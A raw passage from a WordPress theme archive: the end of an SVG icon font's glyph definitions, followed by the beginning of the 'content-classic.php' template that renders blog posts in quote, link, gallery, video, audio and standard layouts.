d="M1257 425l-146 -146q-10 -10 -23 -10t-23 10l-169 169l-169 -169q-10 -10 -23 -10t-23 10l-146 146q-10 10 -10 23t10 23l169 169l-169 169q-10 10 -10 23t10 23l146 146q10 10 23 10t23 -10l169 -169l169 169q10 10 23 10t23 -10l146 -146q10 -10 10 -23t-10 -23
l-169 -169l169 -169q10 -10 10 -23t-10 -23zM256 128h1280v1024h-1280v-1024zM1792 1248v-1216q0 -66 -47 -113t-113 -47h-1472q-66 0 -113 47t-47 113v1216q0 66 47 113t113 47h1472q66 0 113 -47t47 -113z" />
    <glyph glyph-name="uniF2D5" unicode="&#xf2d5;" horiz-adv-x="1792" 
d="M1070 358l306 564h-654l-306 -564h654zM1792 640q0 -182 -71 -348t-191 -286t-286 -191t-348 -71t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71t348 -71t286 -191t191 -286t71 -348z" />
    <glyph glyph-name="uniF2D6" unicode="&#xf2d6;" horiz-adv-x="1794" 
d="M1291 1060q-15 17 -35 8.5t-26 -28.5t5 -38q14 -17 40 -14.5t34 20.5t-18 52zM895 814q-8 -8 -19.5 -8t-18.5 8q-8 8 -8 19t8 18q7 8 18.5 8t19.5 -8q7 -7 7 -18t-7 -19zM1060 740l-35 -35q-12 -13 -29.5 -13t-30.5 13l-38 38q-12 13 -12 30t12 30l35 35q12 12 29.5 12
t30.5 -12l38 -39q12 -12 12 -29.5t-12 -29.5zM951 870q-7 -8 -18.5 -8t-19.5 8q-7 8 -7 19t7 19q8 8 19 8t19 -8t8 -19t-8 -19zM1354 968q-34 -64 -107.5 -85.5t-127.5 16.5q-38 28 -61 66.5t-21 87.5t39 92t75.5 53t70.5 -5t70 -51q2 -2 13 -12.5t14.5 -13.5t13 -13.5
t12.5 -15.5t10 -15.5t8.5 -18t4 -18.5t1 -21t-5 -22t-9.5 -24zM1555 486q3 20 -8.5 34.5t-27.5 21.5t-33 17t-23 20q-40 71 -84 98.5t-113 11.5q19 13 40 18.5t33 4.5l12 -1q2 45 -34 90q6 20 6.5 40.5t-2.5 30.5l-3 10q43 24 71 65t34 91q10 84 -43 150.5t-137 76.5
q-60 7 -114 -18.5t-82 -74.5q-30 -51 -33.5 -101t14.5 -87t43.5 -64t56.5 -42q-45 4 -88 36t-57 88q-28 108 32 222q-16 21 -29 32q-50 0 -89 -19q19 24 42 37t36 14l13 1q0 50 -13 78q-10 21 -32.5 28.5t-47 -3.5t-37.5 -40q2 4 4 7q-7 -28 -6.5 -75.5t19 -117t48.5 -122.5
q-25 -14 -47 -36q-35 -16 -85.5 -70.5t-84.5 -101.5l-33 -46q-90 -34 -181 -125.5t-75 -162.5q1 -16 11 -27q-15 -12 -30 -30q-21 -25 -21 -54t21.5 -40t63.5 6q41 19 77 49.5t55 60.5q-2 2 -6.5 5t-20.5 7.5t-33 3.5q23 5 51 12.5t40 10t27.5 6t26 4t23.5 0.5q14 -7 22 34
q7 37 7 90q0 102 -40 150q106 -103 101 -219q-1 -29 -15 -50t-27 -27l-13 -6q-4 -7 -19 -32t-26 -45.5t-26.5 -52t-25 -61t-17 -63t-6.5 -66.5t10 -63q-35 54 -37 80q-22 -24 -34.5 -39t-33.5 -42t-30.5 -46t-16.5 -41t-0.5 -38t25.5 -27q45 -25 144 64t190.5 221.5
t122.5 228.5q86 52 145 115.5t86 119.5q47 -93 154 -178q104 -83 167 -80q39 2 46 43zM1794 640q0 -182 -71 -348t-191 -286t-286.5 -191t-348.5 -71t-348.5 71t-286.5 191t-191 286t-71 348t71 348t191 286t286.5 191t348.5 71t348.5 -71t286.5 -191t191 -286t71 -348z" />
    <glyph glyph-name="uniF2D7" unicode="&#xf2d7;" 
d="M518 1353v-655q103 -1 191.5 1.5t125.5 5.5l37 3q68 2 90.5 24.5t39.5 94.5l33 142h103l-14 -322l7 -319h-103l-29 127q-15 68 -45 93t-84 26q-87 8 -352 8v-556q0 -78 43.5 -115.5t133.5 -37.5h357q35 0 59.5 2t55 7.5t54 18t48.5 32t46 50.5t39 73l93 216h89
q-6 -37 -31.5 -252t-30.5 -276q-146 5 -263.5 8t-162.5 4h-44h-628l-376 -12v102l127 25q67 13 91.5 37t25.5 79l8 643q3 402 -8 645q-2 61 -25.5 84t-91.5 36l-127 24v102l376 -12h702q139 0 374 27q-6 -68 -14 -194.5t-12 -219.5l-5 -92h-93l-32 124q-31 121 -74 179.5
t-113 58.5h-548q-28 0 -35.5 -8.5t-7.5 -30.5z" />
    <glyph glyph-name="uniF2D8" unicode="&#xf2d8;" 
d="M922 739v-182q0 -4 0.5 -15t0 -15l-1.5 -12t-3.5 -11.5t-6.5 -7.5t-11 -5.5t-16 -1.5v309q9 0 16 -1t11 -5t6.5 -5.5t3.5 -9.5t1 -10.5v-13.5v-14zM1238 643v-121q0 -1 0.5 -12.5t0 -15.5t-2.5 -11.5t-7.5 -10.5t-13.5 -3q-9 0 -14 9q-4 10 -4 165v7v8.5v9t1.5 8.5l3.5 7
t5 5.5t8 1.5q6 0 10 -1.5t6.5 -4.5t4 -6t2 -8.5t0.5 -8v-9.5v-9zM180 407h122v472h-122v-472zM614 407h106v472h-159l-28 -221q-20 148 -32 221h-158v-472h107v312l45 -312h76l43 319v-319zM1039 712q0 67 -5 90q-3 16 -11 28.5t-17 20.5t-25 14t-26.5 8.5t-31 4t-29 1.5
h-29.5h-12h-91v-472h56q169 -1 197 24.5t25 180.5q-1 62 -1 100zM1356 515v133q0 29 -2 45t-9.5 33.5t-24.5 25t-46 7.5q-46 0 -77 -34v154h-117v-472h110l7 30q30 -36 77 -36q50 0 66 30.5t16 83.5zM1536 1248v-1216q0 -66 -47 -113t-113 -47h-1216q-66 0 -113 47t-47 113
v1216q0 66 47 113t113 47h1216q66 0 113 -47t47 -113z" />
    <glyph glyph-name="uniF2D9" unicode="&#xf2d9;" horiz-adv-x="2176" 
d="M1143 -197q-6 1 -11 4q-13 8 -36 23t-86 65t-116.5 104.5t-112 140t-89.5 172.5q-17 3 -175 37q66 -213 235 -362t391 -184zM502 409l168 -28q-25 76 -41 167.5t-19 145.5l-4 53q-84 -82 -121 -224q5 -65 17 -114zM612 1018q-43 -64 -77 -148q44 46 74 68zM2049 584
q0 161 -62 307t-167.5 252t-250.5 168.5t-304 62.5q-147 0 -281 -52.5t-240 -148.5q-30 -58 -45 -160q60 51 143 83.5t158.5 43t143 13.5t108.5 -1l40 -3q33 -1 53 -15.5t24.5 -33t6.5 -37t-1 -28.5q-126 11 -227.5 0.5t-183 -43.5t-142.5 -71.5t-131 -98.5
q4 -36 11.5 -92.5t35.5 -178t62 -179.5q123 -6 247.5 14.5t214.5 53.5t162.5 67t109.5 59l37 24q22 16 39.5 20.5t30.5 -5t17 -34.5q14 -97 -39 -121q-208 -97 -467 -134q-135 -20 -317 -16q41 -96 110 -176.5t137 -127t130.5 -79t101.5 -43.5l39 -12q143 -23 263 15
q195 99 314 289t119 418zM2123 621q-14 -135 -40 -212q-70 -208 -181.5 -346.5t-318.5 -253.5q-48 -33 -82 -44q-72 -26 -163 -16q-36 -3 -73 -3q-283 0 -504.5 173t-295.5 442q-1 0 -4 0.5t-5 0.5q-6 -50 2.5 -112.5t26 -115t36 -98t31.5 -71.5l14 -26q8 -12 54 -82
q-71 38 -124.5 106.5t-78.5 140t-39.5 137t-17.5 107.5l-2 42q-5 2 -33.5 12.5t-48.5 18t-53 20.5t-57.5 25t-50 25.5t-42.5 27t-25 25.5q19 -10 50.5 -25.5t113 -45.5t145.5 -38l2 32q11 149 94 290q41 202 176 365q28 115 81 214q15 28 32 45t49 32q158 74 303.5 104
t302 11t306.5 -97q220 -115 333 -336t87 -474z" />
    <glyph glyph-name="uniF2DA" unicode="&#xf2da;" horiz-adv-x="1792" 
d="M1341 752q29 44 -6.5 129.5t-121.5 142.5q-58 39 -125.5 53.5t-118 4.5t-68.5 -37q-12 -23 -4.5 -28t42.5 -10q23 -3 38.5 -5t44.5 -9.5t56 -17.5q36 -13 67.5 -31.5t53 -37t40 -38.5t30.5 -38t22 -34.5t16.5 -28.5t12 -18.5t10.5 -6t11 9.5zM1704 178
q-52 -127 -148.5 -220t-214.5 -141.5t-253 -60.5t-266 13.5t-251 91t-210 161.5t-141.5 235.5t-46.5 303.5q1 41 8.5 84.5t12.5 64t24 80.5t23 73q-51 -208 1 -397t173 -318t291 -206t346 -83t349 74.5t289 244.5q20 27 18 14q0 -4 -4 -14zM1465 627q0 -104 -40.5 -199
t-108.5 -164t-162 -109.5t-198 -40.5t-198 40.5t-162 109.5t-108.5 164t-40.5 199t40.5 199t108.5 164t162 109.5t198 40.5t198 -40.5t162 -109.5t108.5 -164t40.5 -199zM1752 915q-65 147 -180.5 251t-253 153.5t-292 53.5t-301 -36.5t-275.5 -129t-220 -211.5t-131 -297
t-10 -373q-49 161 -51.5 311.5t35.5 272.5t109 227t165.5 180.5t207 126t232 71t242.5 9t236 -54t216 -124.5t178 -197q33 -50 62 -121t31 -112zM1690 573q12 244 -136.5 416t-396.5 240q-8 0 -10 5t24 8q125 -4 230 -50t173 -120t116 -168.5t58.5 -199t-1 -208
t-61.5 -197.5t-122.5 -167t-185 -117.5t-248.5 -46.5q108 30 201.5 80t174 123t129.5 176.5t55 225.5z" />
    <glyph glyph-name="uniF2DB" unicode="&#xf2db;" 
d="M192 256v-128h-112q-16 0 -16 16v16h-48q-16 0 -16 16v32q0 16 16 16h48v16q0 16 16 16h112zM192 512v-128h-112q-16 0 -16 16v16h-48q-16 0 -16 16v32q0 16 16 16h48v16q0 16 16 16h112zM192 768v-128h-112q-16 0 -16 16v16h-48q-16 0 -16 16v32q0 16 16 16h48v16
q0 16 16 16h112zM192 1024v-128h-112q-16 0 -16 16v16h-48q-16 0 -16 16v32q0 16 16 16h48v16q0 16 16 16h112zM192 1280v-128h-112q-16 0 -16 16v16h-48q-16 0 -16 16v32q0 16 16 16h48v16q0 16 16 16h112zM1280 1440v-1472q0 -40 -28 -68t-68 -28h-832q-40 0 -68 28
t-28 68v1472q0 40 28 68t68 28h832q40 0 68 -28t28 -68zM1536 208v-32q0 -16 -16 -16h-48v-16q0 -16 -16 -16h-112v128h112q16 0 16 -16v-16h48q16 0 16 -16zM1536 464v-32q0 -16 -16 -16h-48v-16q0 -16 -16 -16h-112v128h112q16 0 16 -16v-16h48q16 0 16 -16zM1536 720v-32
q0 -16 -16 -16h-48v-16q0 -16 -16 -16h-112v128h112q16 0 16 -16v-16h48q16 0 16 -16zM1536 976v-32q0 -16 -16 -16h-48v-16q0 -16 -16 -16h-112v128h112q16 0 16 -16v-16h48q16 0 16 -16zM1536 1232v-32q0 -16 -16 -16h-48v-16q0 -16 -16 -16h-112v128h112q16 0 16 -16v-16
h48q16 0 16 -16z" />
    <glyph glyph-name="uniF2DC" unicode="&#xf2dc;" horiz-adv-x="1664" 
d="M1566 419l-167 -33l186 -107q23 -13 29.5 -38.5t-6.5 -48.5q-14 -23 -39 -29.5t-48 6.5l-186 106l55 -160q13 -38 -12 -63.5t-60.5 -20.5t-48.5 42l-102 300l-271 156v-313l208 -238q16 -18 17 -39t-11 -36.5t-28.5 -25t-37 -5.5t-36.5 22l-112 128v-214q0 -26 -19 -45
t-45 -19t-45 19t-19 45v214l-112 -128q-16 -18 -36.5 -22t-37 5.5t-28.5 25t-11 36.5t17 39l208 238v313l-271 -156l-102 -300q-13 -37 -48.5 -42t-60.5 20.5t-12 63.5l55 160l-186 -106q-23 -13 -48 -6.5t-39 29.5q-13 23 -6.5 48.5t29.5 38.5l186 107l-167 33
q-29 6 -42 29t-8.5 46.5t25.5 40t50 10.5l310 -62l271 157l-271 157l-310 -62q-4 -1 -13 -1q-27 0 -44 18t-19 40t11 43t40 26l167 33l-186 107q-23 13 -29.5 38.5t6.5 48.5t39 30t48 -7l186 -106l-55 160q-13 38 12 63.5t60.5 20.5t48.5 -42l102 -300l271 -156v313
l-208 238q-16 18 -17 39t11 36.5t28.5 25t37 5.5t36.5 -22l112 -128v214q0 26 19 45t45 19t45 -19t19 -45v-214l112 128q16 18 36.5 22t37 -5.5t28.5 -25t11 -36.5t-17 -39l-208 -238v-313l271 156l102 300q13 37 48.5 42t60.5 -20.5t12 -63.5l-55 -160l186 106
q23 13 48 6.5t39 -29.5q13 -23 6.5 -48.5t-29.5 -38.5l-186 -107l167 -33q27 -5 40 -26t11 -43t-19 -40t-44 -18q-9 0 -13 1l-310 62l-271 -157l271 -157l310 62q29 6 50 -10.5t25.5 -40t-8.5 -46.5t-42 -29z" />
    <glyph glyph-name="uniF2DD" unicode="&#xf2dd;" horiz-adv-x="1792" 
d="M1473 607q7 118 -33 226.5t-113 189t-177 131t-221 57.5q-116 7 -225.5 -32t-192 -110.5t-135 -175t-59.5 -220.5q-7 -118 33 -226.5t113 -189t177.5 -131t221.5 -57.5q155 -9 293 59t224 195.5t94 283.5zM1792 1536l-349 -348q120 -117 180.5 -272t50.5 -321
q-11 -183 -102 -339t-241 -255.5t-332 -124.5l-999 -132l347 347q-120 116 -180.5 271.5t-50.5 321.5q11 184 102 340t241.5 255.5t332.5 124.5q167 22 500 66t500 66z" />
    <glyph glyph-name="uniF2DE" unicode="&#xf2de;" horiz-adv-x="1792" 
d="M948 508l163 -329h-51l-175 350l-171 -350h-49l179 374l-78 33l21 49l240 -102l-21 -50zM563 1100l304 -130l-130 -304l-304 130zM907 915l240 -103l-103 -239l-239 102zM1188 765l191 -81l-82 -190l-190 81zM1680 640q0 159 -62 304t-167.5 250.5t-250.5 167.5t-304 62
t-304 -62t-250.5 -167.5t-167.5 -250.5t-62 -304t62 -304t167.5 -250.5t250.5 -167.5t304 -62t304 62t250.5 167.5t167.5 250.5t62 304zM1792 640q0 -182 -71 -348t-191 -286t-286 -191t-348 -71t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71t348 -71
t286 -191t191 -286t71 -348z" />
    <glyph glyph-name="uniF2E0" unicode="&#xf2e0;" horiz-adv-x="1920" 
d="M1334 302q-4 24 -27.5 34t-49.5 10.5t-48.5 12.5t-25.5 38q-5 47 33 139.5t75 181t32 127.5q-14 101 -117 103q-45 1 -75 -16l-3 -2l-5 -2.5t-4.5 -2t-5 -2t-5 -0.5t-6 1.5t-6 3.5t-6.5 5q-3 2 -9 8.5t-9 9t-8.5 7.5t-9.5 7.5t-9.5 5.5t-11 4.5t-11.5 2.5q-30 5 -48 -3
t-45 -31q-1 -1 -9 -8.5t-12.5 -11t-15 -10t-16.5 -5.5t-17 3q-54 27 -84 40q-41 18 -94 -5t-76 -65q-16 -28 -41 -98.5t-43.5 -132.5t-40 -134t-21.5 -73q-22 -69 18.5 -119t110.5 -46q30 2 50.5 15t38.5 46q7 13 79 199.5t77 194.5q6 11 21.5 18t29.5 0q27 -15 21 -53
q-2 -18 -51 -139.5t-50 -132.5q-6 -38 19.5 -56.5t60.5 -7t55 49.5q4 8 45.5 92t81.5 163.5t46 88.5q20 29 41 28q29 0 25 -38q-2 -16 -65.5 -147.5t-70.5 -159.5q-12 -53 13 -103t74 -74q17 -9 51 -15.5t71.5 -8t62.5 14t20 48.5zM383 86q3 -15 -5 -27.5t-23 -15.5
q-14 -3 -26.5 5t-15.5 23q-3 14 5 27t22 16t27 -5t16 -23zM953 -177q12 -17 8.5 -37.5t-20.5 -32.5t-37.5 -8t-32.5 21q-11 17 -7.5 37.5t20.5 32.5t37.5 8t31.5 -21zM177 635q-18 -27 -49.5 -33t-57.5 13q-26 18 -32 50t12 58q18 27 49.5 33t57.5 -12q26 -19 32 -50.5
t-12 -58.5zM1467 -42q19 -28 13 -61.5t-34 -52.5t-60.5 -13t-51.5 34t-13 61t33 53q28 19 60.5 13t52.5 -34zM1579 562q69 -113 42.5 -244.5t-134.5 -207.5q-90 -63 -199 -60q-20 -80 -84.5 -127t-143.5 -44.5t-140 57.5q-12 -9 -13 -10q-103 -71 -225 -48.5t-193 126.5
q-50 73 -53 164q-83 14 -142.5 70.5t-80.5 128t-2 152t81 138.5q-36 60 -38 128t24.5 125t79.5 98.5t121 50.5q32 85 99 148t146.5 91.5t168 17t159.5 -66.5q72 21 140 17.5t128.5 -36t104.5 -80t67.5 -115t17.5 -140.5q52 -16 87 -57t45.5 -89t-5.5 -99.5t-58 -87.5z
M455 1222q14 -20 9.5 -44.5t-24.5 -38.5q-19 -14 -43.5 -9.5t-37.5 24.5q-14 20 -9.5 44.5t24.5 38.5q19 14 43.5 9.5t37.5 -24.5zM614 1503q4 -16 -5 -30.5t-26 -18.5t-31 5.5t-18 26.5q-3 17 6.5 31t25.5 18q17 4 31 -5.5t17 -26.5zM1800 555q4 -20 -6.5 -37t-30.5 -21
q-19 -4 -36 6.5t-21 30.5t6.5 37t30.5 22q20 4 36.5 -7.5t20.5 -30.5zM1136 1448q16 -27 8.5 -58.5t-35.5 -47.5q-27 -16 -57.5 -8.5t-46.5 34.5q-16 28 -8.5 59t34.5 48t58 9t47 -36zM1882 792q4 -15 -4 -27.5t-23 -16.5q-15 -3 -27.5 5.5t-15.5 22.5q-3 15 5 28t23 16
q14 3 26.5 -5t15.5 -23zM1691 1033q15 -22 10.5 -49t-26.5 -43q-22 -15 -49 -10t-42 27t-10 49t27 43t48.5 11t41.5 -28z" />
    <glyph glyph-name="uniF2E1" unicode="&#xf2e1;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="uniF2E2" unicode="&#xf2e2;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="uniF2E3" unicode="&#xf2e3;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="uniF2E4" unicode="&#xf2e4;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="uniF2E5" unicode="&#xf2e5;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="uniF2E6" unicode="&#xf2e6;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="uniF2E7" unicode="&#xf2e7;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="_698" unicode="&#xf2e8;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="uniF2E9" unicode="&#xf2e9;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="uniF2EA" unicode="&#xf2ea;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="uniF2EB" unicode="&#xf2eb;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="uniF2EC" unicode="&#xf2ec;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="uniF2ED" unicode="&#xf2ed;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="uniF2EE" unicode="&#xf2ee;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="lessequal" unicode="&#xf500;" horiz-adv-x="1792" 
 />
  </font>
</defs></svg>
PK     N\^RB  RB    content-classic.phpnu [        <?php
/**
 * Content classic homepage, archive page
 *
 * @since 1.0
 */
$post_id = get_the_ID();
if ( ! isset ( $j ) ) {
	$j = 1;
} else {
	$j = $j;
}
$block_style   = get_theme_mod( 'penci_blockquote_style' ) ? get_theme_mod( 'penci_blockquote_style' ) : 'style-1';
$heading_style = penci_get_heading_style();
$thumb_alt     = $thumb_title_html = '';

$post_class     = get_post_class( '', get_the_ID() );
$standard_class = 'standard-article classic-pitem ' . esc_attr( implode( ' ', $post_class ) );

$heading_title_tag = get_theme_mod( 'penci_standard_title_tag', 'h2' );
$heading_title_tag_class = 'h2' == $heading_title_tag ? 'pc_titlebig_standard_df' : 'pc_titlebig_standard';

if ( has_post_thumbnail() ) {
	$thumb_id         = get_post_thumbnail_id( get_the_ID() );
	$thumb_alt        = penci_get_image_alt( $thumb_id, get_the_ID() );
	$thumb_title_html = penci_get_image_title( $thumb_id );
}
?>
<article id="post-<?php the_ID(); ?>" class="<?php echo $standard_class; ?>">

    <div class="header-standard header-classic">
		<?php if ( ! get_theme_mod( 'penci_standard_cat' ) ) : ?>
            <div class="penci-standard-cat"><span class="cat"><?php penci_category( '' ); ?></span></div>
		<?php endif; ?>

        <<?php echo $heading_title_tag;?> class="penci-entry-title entry-title entry-title <?php echo $heading_title_tag_class;?>"><a
                    href="<?php the_permalink(); ?>"><?php the_title(); ?></a></<?php echo $heading_title_tag;?>>
		<?php do_action( 'penci_after_classic_post_title' ); ?>
		<?php penci_soledad_meta_schema(); ?>

		<?php $hide_readtime = get_theme_mod( 'penci_standard_readingtime' );
		if ( ! get_theme_mod( 'penci_standard_author' ) || penci_isshow_reading_time( $hide_readtime ) ) : ?>
            <div class="standard-top-meta author-post byline">
				<?php do_action( 'penci_before_classic_post_meta' ); ?>
				<?php if ( ! get_theme_mod( 'penci_standard_author' ) ) : ?>
                    <span class="author vcard"><?php echo penci_get_setting( 'penci_trans_written_by' ); ?> <?php if ( function_exists( 'coauthors_posts_links' ) ) :
							penci_coauthors_posts_links();
						else: ?>
                            <a class="author-url url fn n"
                               href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
						<?php endif; ?></span>
				<?php endif; ?>
				<?php if ( penci_isshow_reading_time( $hide_readtime ) ) : ?>
                    <span class="penci-readtime"><?php penci_reading_time(); ?></span>
				<?php endif; ?>
            </div>
		<?php endif; ?>
    </div>

	<?php if ( ! get_theme_mod( 'penci_standard_thumbnail' ) ): ?>

		<?php if ( penci_get_post_format( 'link' ) || penci_get_post_format( 'quote' ) ) : ?>
            <div class="standard-post-special<?php if ( penci_get_post_format( 'quote' ) ): ?> penci-special-format-quote<?php endif; ?><?php if ( ! has_post_thumbnail() || get_theme_mod( 'penci_standard_thumbnail' ) ) : echo ' no-thumbnail'; endif; ?>">
				<?php if ( has_post_thumbnail() && ! get_theme_mod( 'penci_standard_thumbnail' ) ) : ?>
					<?php if ( ! get_theme_mod( 'penci_disable_lazyload_layout' ) ) { ?>
                        <a <?php if ( get_theme_mod( 'penci_standard_thumb_crop' ) ): ?> class="penci-image-holder penci-lazy" data-bgset="<?php echo penci_get_featured_image_size( get_the_ID(), 'penci-full-thumb' ); ?>"<?php endif; ?>
                                href="<?php the_permalink() ?>">
							<?php if ( ! get_theme_mod( 'penci_standard_thumb_crop' ) ): ?><img
                                class="attachment-penci-full-thumb size-penci-full-thumb penci-lazy wp-post-image"
                                width="<?php penci_get_image_data_based_post_id( get_the_ID(), 'penci-full-thumb', 'w' ); ?>"
                                height="<?php penci_get_image_data_based_post_id( get_the_ID(), 'penci-full-thumb', 'h' ); ?>"
                                src="<?php echo penci_holder_image_base( penci_get_image_data_based_post_id( get_the_ID(), 'penci-full-thumb', 'w', false ), penci_get_image_data_based_post_id( get_the_ID(), 'penci-full-thumb', 'h', false ) ); ?>" alt="<?php echo $thumb_alt; ?>"<?php echo $thumb_title_html; ?>
                                data-src="<?php echo penci_get_featured_image_size( get_the_ID(), 'penci-full-thumb' ); ?>"><?php endif; ?>
                        </a>
					<?php } else { ?>
                        <a <?php if ( get_theme_mod( 'penci_standard_thumb_crop' ) ): ?> class="penci-image-holder" style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), 'penci-full-thumb' ); ?>');"<?php endif; ?>
                                href="<?php the_permalink() ?>">
							<?php if ( ! get_theme_mod( 'penci_standard_thumb_crop' ) ): ?><?php the_post_thumbnail( 'penci-full-thumb' ); ?><?php endif; ?>
                        </a>
					<?php } ?>
				<?php endif; ?>
                <div class="standard-content-special">
					<?php if ( penci_get_post_format( 'quote' ) ): ?><a href="<?php the_permalink(); ?>"><?php endif; ?>
                        <div class="format-post-box<?php if ( penci_get_post_format( 'quote' ) ) {
							echo ' penci-format-quote';
						} else {
							echo ' penci-format-link';
						} ?>">
                            <span class="post-format-icon"><?php penci_fawesome_icon( 'fas fa-' . ( penci_get_post_format( 'quote' ) ? 'quote-left' : 'link' ) ); ?></span>
                            <p class="dt-special">
								<?php
								if ( penci_get_post_format( 'quote' ) ) {
									$dt_content = get_post_meta( get_the_ID(), '_format_quote_source_name', true );
									if ( ! empty( $dt_content ) ): echo sanitize_text_field( $dt_content ); endif;
								} else {
									$dt_content = get_post_meta( get_the_ID(), '_format_link_url', true );
									if ( ! empty( $dt_content ) ):
										echo '<a href="' . esc_url( get_permalink() ) . '">' . sanitize_text_field( $dt_content ) . '</a>';
									endif;
								}
								?>
                            </p>
							<?php
							if ( penci_get_post_format( 'quote' ) ):
								$quote_author = get_post_meta( get_the_ID(), '_format_quote_source_url', true );
								if ( ! empty( $quote_author ) ):
									echo '<div class="author-quote"><span>' . sanitize_text_field( $quote_author ) . '</span></div>';
								endif;
							endif; ?>
                        </div>
						<?php if ( penci_get_post_format( 'quote' ) ): ?></a><?php endif; ?>
                </div>
            </div>

		<?php elseif ( penci_get_post_format( 'gallery' ) ) : ?>

			<?php $images = get_post_meta( get_the_ID(), '_format_gallery_images', true ); ?>

			<?php if ( $images ) :
				$autoplay = ! get_theme_mod( 'penci_standard_disable_autoplay_gallery' ) ? 'true' : 'false';
				?>
                <div class="standard-post-image classic-post-image">
                    <div class="swiper penci-owl-carousel penci-owl-carousel-slider penci-nav-visible"
                         data-auto="<?php echo $autoplay; ?>">
                        <div class="swiper-wrapper">
							<?php foreach ( $images as $image ) : ?>
                                <div class="swiper-slide swiper-mark-item">
									<?php $the_image = wp_get_attachment_image_src( $image, 'penci-full-thumb' ); ?>
									<?php $the_caption = get_post_field( 'post_excerpt', $image );
									$image_alt         = penci_get_image_alt( $image, get_the_ID() );
									$image_title_html  = penci_get_image_title( $image );
									?>
                                    <figure class="penci-swiper-mask item-link-relative penci-gallery-images"
                                            alt="<?php the_title(); ?>"<?php if ( $the_caption ) : ?> title="<?php echo esc_attr( $the_caption ); ?>"<?php endif; ?>>
										<?php echo penci_get_ratio_img_format_gallery( $the_image ); ?>
                                        <img src="<?php echo esc_url( $the_image[0] ); ?>"
                                             width="<?php echo $the_image[1]; ?>"
                                             height="<?php echo $the_image[2]; ?>"
                                             alt="<?php echo $image_alt; ?>"<?php echo $image_title_html; ?>>
                                    </figure>
                                </div>

							<?php endforeach; ?>
                        </div>
                    </div>
                </div>
			<?php endif; ?>

		<?php elseif ( penci_get_post_format( 'video' ) ) : ?>

            <div class="standard-post-image classic-post-image video-post">
				<?php $penci_video = get_post_meta( get_the_ID(), '_format_video_embed', true ); ?>
				<?php if ( wp_oembed_get( $penci_video ) ) : ?>
					<?php echo wp_oembed_get( $penci_video ); ?>
				<?php else : ?>
					<?php echo $penci_video; ?>
				<?php endif; ?>
            </div>

		<?php elseif ( penci_get_post_format( 'audio' ) ) : ?>

            <div class="standard-post-image classic-post-image audio<?php if ( ! has_post_thumbnail() ) : echo ' no-thumbnail'; endif; ?>">
				<?php if ( has_post_thumbnail() ) : ?>
					<?php if ( ! get_theme_mod( 'penci_disable_lazyload_layout' ) ) { ?>
                        <a <?php if ( get_theme_mod( 'penci_standard_thumb_crop' ) ): ?> class="penci-image-holder penci-lazy" data-bgset="<?php echo penci_get_featured_image_size( get_the_ID(), 'penci-full-thumb' ); ?>"<?php endif; ?>
                                href="<?php the_permalink() ?>">
							<?php if ( ! get_theme_mod( 'penci_standard_thumb_crop' ) ): ?><img
                                class="attachment-penci-full-thumb size-penci-full-thumb penci-lazy wp-post-image"
                                width="<?php penci_get_image_data_based_post_id( get_the_ID(), 'penci-full-thumb', 'w' ); ?>"
                                height="<?php penci_get_image_data_based_post_id( get_the_ID(), 'penci-full-thumb', 'h' ); ?>"
                                src="<?php echo penci_holder_image_base( penci_get_image_data_based_post_id( get_the_ID(), 'penci-full-thumb', 'w', false ), penci_get_image_data_based_post_id( get_the_ID(), 'penci-full-thumb', 'h', false ) ); ?>" alt="<?php echo $thumb_alt; ?>"<?php echo $thumb_title_html; ?>
                                data-src="<?php echo penci_get_featured_image_size( get_the_ID(), 'penci-full-thumb' ); ?>"><?php endif; ?>
                        </a>
					<?php } else { ?>
                        <a <?php if ( get_theme_mod( 'penci_standard_thumb_crop' ) ): ?> class="penci-image-holder" style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), 'penci-full-thumb' ); ?>');"<?php endif; ?>
                                href="<?php the_permalink() ?>">
							<?php if ( ! get_theme_mod( 'penci_standard_thumb_crop' ) ): ?><?php the_post_thumbnail( 'penci-full-thumb' ); ?><?php endif; ?>
                        </a>
					<?php } ?>
				<?php endif; ?>
                <div class="audio-iframe">
					<?php $penci_audio = get_post_meta( get_the_ID(), '_format_audio_embed', true );
					$penci_audio_str   = substr( $penci_audio, - 4 );
					?>
					<?php if ( wp_oembed_get( $penci_audio ) ) : ?>
						<?php echo wp_oembed_get( $penci_audio ); ?>
					<?php elseif ( $penci_audio_str == '.mp3' ) : ?>
						<?php echo do_shortcode( '[audio src="' . esc_url( $penci_audio ) . '"]' ); ?>
					<?php else : ?>
						<?php echo $penci_audio; ?>
					<?php endif; ?>
                </div>
            </div>

		<?php else : ?>

			<?php if ( has_post_thumbnail() ) : ?>
                <div class="standard-post-image classic-post-image">
					<?php if ( ! get_theme_mod( 'penci_disable_lazyload_layout' ) ) { ?>
                        <a <?php if ( get_theme_mod( 'penci_standard_thumb_crop' ) ): ?> class="penci-image-holder penci-lazy" data-bgset="<?php echo penci_get_featured_image_size( get_the_ID(), 'penci-full-thumb' ); ?>"<?php endif; ?>
                                href="<?php the_permalink() ?>">
							<?php if ( ! get_theme_mod( 'penci_standard_thumb_crop' ) ): ?><img
                                class="attachment-penci-full-thumb size-penci-full-thumb penci-lazy wp-post-image"
                                width="<?php penci_get_image_data_based_post_id( get_the_ID(), 'penci-full-thumb', 'w' ); ?>"
                                height="<?php penci_get_image_data_based_post_id( get_the_ID(), 'penci-full-thumb', 'h' ); ?>"
